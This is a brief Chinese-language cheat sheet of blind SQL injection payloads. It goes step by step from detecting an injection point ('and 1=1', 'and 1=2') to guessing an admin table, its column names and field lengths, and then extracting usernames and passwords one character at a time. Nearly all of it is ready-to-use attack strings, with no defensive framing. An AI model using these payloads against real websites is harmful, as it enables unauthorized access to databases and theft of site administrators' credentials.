1.判斷有無註入點
; and 1=1 and 1=2


2.猜表一般的表的名稱無非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判斷是否存在admin這張表

3.猜帳號數目 如果遇到0< 返回正確頁面 1<返回錯誤頁面說明帳號數目就是1個
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)

4.猜解字段名稱 在len( ) 括號裏面加上我們想到的字段名稱.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用戶字段名稱name)>0)
and 1=(select count(*) from admin where len(_blank>密碼字段名稱password)>0)

5.猜解各個字段的長度 猜解長度就是把>0變換 直到返回正確頁面為止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 錯誤
and 1=(select count(*) from admin where len(name)>5) 正確 長度是6
and 1=(select count(*) from admin where len(name)=6) 正確

and 1=(select count(*) from admin where len(password)>11) 正確
and 1=(select count(*) from admin where len(password)>12) 錯誤 長度是12
and 1=(select count(*) from admin where len(password)=12) 正確

6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用戶帳號的第一位
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用戶帳號的第二位
就這樣一次加一個字符這樣猜,猜到夠你剛才猜出來的多少位了就對了,帳號就算出來了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --

標準SQL註入語句